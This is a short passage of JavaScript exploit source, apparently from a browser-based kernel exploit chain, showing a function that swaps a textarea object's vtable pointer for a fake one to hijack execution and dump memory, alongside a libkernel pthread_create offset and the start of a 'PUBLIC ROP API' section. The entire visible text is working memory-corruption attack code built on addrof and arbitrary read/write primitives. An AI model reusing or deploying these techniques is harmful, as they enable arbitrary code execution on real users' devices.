()
| 149 | var pthread_create_addr = libkernel_base+0x16fe0; |
| 150 | |
| 151 | function saveall() |
| 152 | { |
| 153 | var ans = malloc(0x800); |
| 154 | var bak = read_ptr_at(fake_vtable+0x1d8); |
| 155 | write_ptr_at(fake_vtable+0x1d8, saveall_addr); |
| 156 | write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr); |
| 157 | tarea.scrollLeft = 0; |
| 158 | write_ptr_at(addrof(tarea)+0x18, real_vt_ptr); |
| 159 | write_mem(ans, read_mem(fake_vt_ptr, 0x400)); |
| 160 | write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400)); |
| 161 | var bak = read_ptr_at(fake_vtable+0x1d8); |
| 162 | write_ptr_at(fake_vtable+0x1d8, saveall_addr); |
| 163 | write_ptr_at(fake_vt_ptr+0x38, 0x1234); |
| 164 | write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr); |
| 165 | tarea.scrollLeft = 0; |
| 166 | write_ptr_at(addrof(tarea)+0x18, real_vt_ptr); |
| 167 | write_mem(ans+0x400, read_mem(fake_vt_ptr, 0x400)); |
| 168 | write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400)); |
| 169 | return ans; |
| 170 | } |
| 171 | |
| 172 | /* PUBLIC ROP API |
| 173 |
nothing calls this directly
no test coverage detected